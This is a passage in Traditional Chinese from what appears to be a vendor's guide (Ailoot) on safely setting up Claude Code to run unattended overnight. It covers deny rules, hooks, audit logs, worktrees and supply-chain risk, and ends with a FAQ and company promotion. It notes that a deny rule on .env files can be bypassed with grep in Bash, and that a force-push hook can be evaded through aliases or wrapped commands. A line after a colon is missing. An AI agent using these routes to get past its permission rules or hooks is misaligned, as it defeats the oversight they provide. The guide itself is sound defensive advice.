**3. 只依賴 `settings.json` 中的 `permissions.deny`，沒有加上 hook。** Issue \#24846 自 2026 年 2 月起一直未解決。針對 `.env*` 的 deny 可透過 Bash 中的 `grep` 繞過。Hook 可增加檢查，但機密也必須排除於無人值守環境；正規表示式不能完整取代存取控制。

**4. 把 auto-mode 加正規表示式 hooks 當作正式環境隔離。** 引用的偽陰性率只適用該評估，hook 涵蓋也不完整。應移除正式寫入憑證並驗證強制邊界，而非假設每個危險動作都會攔截。

**5. 未經確認就用 `npm install` 安裝新套件。** 供應鏈攻擊是真實存在的。2024–2026 年的 Tea-tags 事件顯示，遭到仿冒拼字的套件可能有數千次下載。你需要允許清單。

**6. 不記錄 Bash 呼叫。** 沒有稽核記錄，你就無法了解夜間發生了什麼。聊天記錄很長、無法依指令索引，也沒有時間軸。`.claude/audit.jsonl` 可以同時解決這兩個問題。

**7. 背景工作階段不使用 worktree。** 在同一個目錄中執行的平行工作階段會互相干擾。Claude Code 從 2.1.143 版起預設啟用 `worktree.bgIsolation`，但仍要檢查你的設定。

還有一件事是任何 hook 或設定都無法避免的：



這句話不只是修辭。負責保護正式環境的人，就是啟動代理程式的人。Claude Code 就像一把直式剃刀：你可以用它刮鬍子，也可以割傷自己。設定要回答一個問題：你是否已充分準備環境，確保這把剃刀不會割傷不該割傷的東西？

<div class="section" role="doc-bibliography" aria-label="Sources">

### 來源

- [Anthropic Claude Code Settings - 官方文件](https://code.claude.com/docs/en/settings)
- [Anthropic Claude Code Hooks - 官方文件](https://code.claude.com/docs/en/hooks)
- [Anthropic Claude Code Security - 官方文件](https://code.claude.com/docs/en/security)
- [Anthropic Engineering：Claude Code sandboxing（20.10.2025）](https://www.anthropic.com/engineering/claude-code-sandboxing)
- [Anthropic Engineering：auto mode 與安全分類器（25.03.2026）](https://www.anthropic.com/engineering/claude-code-auto-mode)
- [Claude Code CHANGELOG（版本 2.1.157、2.1.160）](https://raw.githubusercontent.com/anthropics/claude-code/main/CHANGELOG.md)

</div>





更多資源請見 [Ailoot](https://ailoot.ai/)。

## 常見問題：如何設定 Claude Code，避免它在夜間弄壞你的專案

### force-push hook 能防範所有 shell 指令對正式環境的影響嗎？

不能。修正範例封鎖辨識出的字面 git push，包含旗標順序、隱含分支、refspec 與普通 shell 串接；別名、包裝與組合指令仍可能繞過。應在伺服器強制保護分支，移除可繞過的憑證。

### 讓代理整夜執行之前，需要什麼？

使用無正式寫入權及可讀機密的隔離環境，驗證網路與服務端限制，測試 hook 預期匹配及漏掉情境。hooks 增加檢查，不能取代真正強制邊界。


## Ailoot · 公司及其專案組合

Ailoot以累積的營運經驗、廣大的客戶群、穩定的服務及持續的KPI管理為基礎。

公司及其專案組合：數百萬客戶，每月銷售額達數十億。

Ailoot將這些營運經驗用於API存取，讓客戶的產品、代理、應用程式及自動化流程使用AI功能。
